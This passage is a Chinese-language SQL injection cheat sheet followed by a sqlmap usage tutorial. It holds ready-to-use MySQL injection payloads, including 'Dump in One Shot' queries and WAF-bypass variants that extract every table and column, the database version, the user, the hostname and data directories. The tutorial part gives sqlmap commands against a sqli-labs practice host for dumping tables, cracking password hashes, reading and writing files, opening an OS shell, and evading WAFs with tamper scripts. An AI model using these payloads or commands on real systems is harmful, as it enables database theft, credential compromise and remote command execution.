?id=/*' union select 1,2,(select/**/`key` from `key`)--+`
?id=1'/*xxxxxxxx*/order/*xxxxxxxx*/by 3 --+
?id=10000'/*xxxxxxxx*/%23%0aunion%23%0a/*xxxxxxxx*/select 1,database/*xxxxxxxx*/(),group_concat(/*xxxxxxxx*/user.key/*xxxxxxxx*/from database.user) --+
DIOS
Dump in One Shot
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#
-- SecurityIdiots
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
-- Profexer
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)
-- Dr.Z3r0
(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))
-- M@dBl00d
(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))
-- Zen
+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
-- Zen WAF
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)
-- ~tr0jAn WAF
+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+
-- ~tr0jAn Benchmark
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+
-- N1Z4M WAF
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+
-- sharik
(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)
MYSQL Current queries
sqlmap 工具
工具特点
1、python 编写,完全支持 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB 和 Informix 等多种数据库管理系统
2、完全支持布尔型盲注、时间型盲注、基于错误信息的注入、 联合 查询注入和堆查询注入。
3、在数据库证书、IP 地址、端口和数据库名等条件允许的情况下支持不通过 SQL 注入点而直接连接数据库
4、支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
5、支持自动 识别密码哈希 格式并通过字典破解密码哈希
6、支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列
7、支持在数据库管理系统中搜索指定的数据库名、表名或列名
8、当数据库管理系统是 MySQL、PostgreSQL 或 Microsoft SQL Server 时支持下载或上传文件
9、当数据库管理系统是 MySQL、PostgreSQL 或 Microsoft SQL Server 时支持执行任意命令并回显标准输出
文件目录
doc 目录
=> 包含 sqlmap 的简要说明,具体使用说明、作者信息等extra 目录
=> 包含 sqlmap 的额外功能,如发出声响、运行 cmd、安全执行等lib 目录
=> sqlmap 核心目录plugins 目录
=> 包含了 sqlmap 目前支持的 13 种数据库信息和数据库通用事项procs 目录
=> 包含了 mssql、mysql、oracle、postgresql 的触发程序shell 目录
=> 包含了注入成功后的 9 种 shell 远程命令执行tamper 目录
=> 这里包含了 waf 绕过脚本thirdparty 目录
=> 包含了第三方插件,例如优化、保持连接、颜色txt 目录
=> 包含了表名字典,列名字典、UA 字典等udf 目录
=> 存放 udf 提权文件waf 目录
=> 存放 waf 特征判断脚本xml 目录
=> 存放多种数据库注入检测的 payload 等信息
工作流程
六种注入模式
- 基于布尔盲注,即可以根据返回页面判断条件真假的注入
- 基于时间盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
- 基于联合注入,可以使用 union 的情况下的注入
- 基于堆查询注入,可以同时执行多条语句的执行时的注入
- 基于内联查询注入,在 sql 语句中执行 sql 语句
常用参数
查看基本帮助信息:-h
查看高级帮助信息:-hh
清除历史缓存:--purge
清除上次扫描的缓存:--flush-session
输出信息的详细程度(共7个级别(0~6),默认为1,可以用 -vv 代替 -v 2,推荐使用这种方法):-v
0:只输出 Python 出错回溯信息,错误和关键信息
1:增加输出普通信息和警告信息
2:增加输出调试信息
3:增加输出已注入的 payloads
4:增加输出 HTTP 请求
5:增加输出 HTTP 响应头
6:增加输出 HTTP 响应内容
指定测试目标url:-u
使用默认选项,不再询问:--batch
指获取所有数据库信息:--dbs
获取当前数据库:--current-db
指定数据库:-D
获取所有表名:--tables
指定表名:-T
获取所有列名:--columns
获取表的内容:--dump
获取所有数据库的所有表的内容(拖库):--dump-all
指定开始的行数:--start
指定结束的行数:--stop
获取当前用户名:--current-user
指定用户:-U
爆破密码:--passwords
指定通过 post 提交的数据:--data
指定 User-Agent 头的数据: -A
指定可测试的参数:-p
指定代理地址:--proxy
指定绕过脚本:--tamper
读取文件内容(前提:相应目录有 读写权限):--file-read
写入文件到指定目录(前提:相应目录有 读写权限):--file-write
关闭payload铸造机制:--no-cast
# 目标
-u # 指定 url
-d # 直连数据库,"mysql://root:root@192.168.0.8:3306/testdb"
-l # 从Burp代理日志文件中解析目标地址,以 burp 的请求作为测试参数,参数为 HTTP 请求 日志文件
-m # 从文本文件中批量获取目标,提供给定批量文件中列出的 URL 的列表 sqlmap 会逐个扫描
-r # 从文件中读取 HTTP 请求,从文本文件加载原始 HTTP 请求 ,可跳过许多其他选项的使用如(Cookie 等)
-g # 使用 GET 参数检索 Google dork 表达式的 Google 前 100 个结果
# 请求
-H HEADER # 设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
--method=METHOD # 强制使用提供的 HTTP 方法(例如:PUT)
--data=DATA # 使用 POST 发送数据串;--data="id=1&user=admin"
--param-del=";" # 使用参数分隔符,--data="id=1;user=admin"
--cookie=COOKIE # 指定 HTTP Cookie ,--cookie "id=11" --level 2
--drop-set-cookie # 忽略 HTTP 响应中的 Set-Cookie 参数
--user-agent=AGENT # 指定 HTTP User-Agent
--random-agent # 使用随机的 HTTP User-Agent,随机从 ./txt/user-agents.txt 选一个,不是每次请求换一个
--referer=REFERER # 指定 HTTP Referer
--headers=HEADERS # 设置额外的 HTTP 头参数,必须以换行符分隔(例如:"Accept-Language: fr\nETag: 123")
--delay=10 # 设置每个 HTTP 请求的延迟秒数
--safe-freq=SAFE # 每访问两次给定的合法 URL 才发送一次测试请求
--proxy # 使用代理去连接目标站点
# 注入
-p TESTPARAMETER # 指定需要测试的参数
--skip=SKIP # 指定要跳过的参数
--dbms=DBMS # 指定 DBMS 类型(例如:MySQL)
--os=OS # 指定 DBMS 服务器的操作系统类型
--prefix=PREFIX # 注入 payload 的前缀字符串
--suffix=SUFFIX # 注入 payload 的后缀字符串
--tamper=TAMPER # 用给定脚本修改注入数据
# 检测
# level有5级,越高检测越全,默认为 1
--level 1 # 检测Get和Post
--level 2 # 检测HTTP Cookie
--level 3 # 检测User-Agent和Referer
--level 4 # 检测
--level 5 # 检测 HOST 头
# risk有3级,级别越高风险越大,默认为1
--risk 2 # 会在默认的检测上添加大量时间型盲注语句测试
--risk 3 # 会在原基础上添加 OR 类型的布尔型盲注,可能会update导致修改数据库
# 注入技术
--technique=TECH # 使用的 SQL 注入技术(默认为“BEUSTQ”)
B: Boolean-based blind SQL injection(布尔型盲注)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(联合查询注入)
S: Stacked queries SQL injection(堆查询注入)
T: Time-based blind SQL injection(时间型盲注)
Q: inline Query injection(内联查询注入)
--time-sec=TIMESEC # 设置延时注入的时间(默认为 5)
--second-order=S.. # 设置二阶响应的结果显示页面的 URL(该选项用于二阶 SQL 注入)
# 枚举
-a, --all # 获取所有信息、数据
-b, --banner # 获取 DBMS banner,返回数据库的版本号
--current-user # 获取 DBMS 当前用户
--current-db # 获取 DBMS 当前数据库
--hostname # 获取 DBMS 服务器的主机名
--is-dba # 探测 DBMS 当前用户是否为 DBA(数据库管理员)
--users # 枚举出 DBMS 所有用户
--passwords # 枚举出 DBMS 所有用户的密码哈希
--privileges # 枚举出 DBMS 所有用户特权级
--roles # 枚举出 DBMS 所有用户角色
--dbs # 枚举出 DBMS 所有数据库
--tables # 枚举出 DBMS 数据库中的所有表
--columns # 枚举出 DBMS 表中的所有列
--schema # 枚举出 DBMS 所有模式
--count # 获取数据表数目
--dump # 导出 DBMS 数据库表项
--stop 10 # 只取前10行数据
-D DB # 指定要枚举的 DBMS 数据库
-T TBL # 指定要枚举的 DBMS 数据表
-C COL # 指定要枚举的 DBMS 数据列
--sql-query=QUERY # 指定要执行的 SQL 语句
--sql-shell # 调出交互式 SQL shell
# 操作系统访问
--sql-shell # 进入sql交互命令行
--os-shell # 获取可交互执行的 shell(前提:mysql具备可写的权限,查看secure_file_priv参数)
# 其他参数
--privileges # 获取当前用户权限
--force-ssl # 支持 HTTPS
--identify-waf # 检查是否 waf/ips/ids
--check-waf # 彻底的 waf 检查,支持 30 多种产品
示例
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch --dbs
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch --current-db
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch -D security --tables
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch -D security -T users --columns
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch -D security -T users --dump
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch -D security -T users --dump --start 1 --stop 2
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch --current-user
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch -U root --passwords
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch --sql-shell
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch --os-shell
sqlmap -u http://vm.com/sqli-labs/Less-11/ --data="uname=aa&passwd=11&submit" --batch
sqlmap -u http://vm.com/sqli-labs/Less-20/index.php --batch --cookie="uname=admin" -p cookie
sqlmap -u http://vm.com/sqli-labs/Less-18/ --batch --data="uname=admin&passwd=123&submit=submit" -A "Mozilla/5.0" -p user-agent
sqlmap -u http://vm.com/sqli-labs/Less-18/ --batch -v 6 --proxy=socks5://192.168.7.165:1080
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch --tamper xxx.py --random-agent --technique=U --no-cast --purge --dbs
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch --file-read="C:\read.txt"
sqlmap -u http://vm.com/sqli-labs/Less-1/?id=1 --batch --file-write=1.txt --file-dest="C:\read.txt"
tamper脚本绕WAF
1、使用参数绕过
# 使用任意浏览器进行绕过,尤其是在 WAF 配置不当的时候
sqlmap -u http://vm.com/sqli-labs/Less 1/?id=1 --random-agent v 2
# 使用 HTTP 参数污染进行绕过,尤其是在 ASP.NET/IIS 平台上
sqlmap -u http://vm.com/sqli-labs/Less 1/?id=1 --hpp -v 3
# 使用长的延时来避免触发 WAF 的机制,这方式比较耗时
sqlmap -u http://vm.com/sqli-labs/Less 1/?id=1 --delay=3 --time-sec=60
2、使用 tamper 脚本
例子1:sqlmap u http://vm.com/sqli-labs/Less 1/?id=1 --tamper "space2comment" -v 3
例子2:sqlmap u http://vm.com/sqli-labs/Less 1/?id=1 --tamper "space2comment,versionedmorekeywords" -v 3
3、脚本参数组合策略绕过
sqlmap -u http://vm.com/sqli-labs/Less 1/?id=1 --random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py
sqlmap -u http://vm.com/sqli-labs/Less 1/?id=1 --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24(KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24" --tamper=apostrophemask.py,equaltolike.py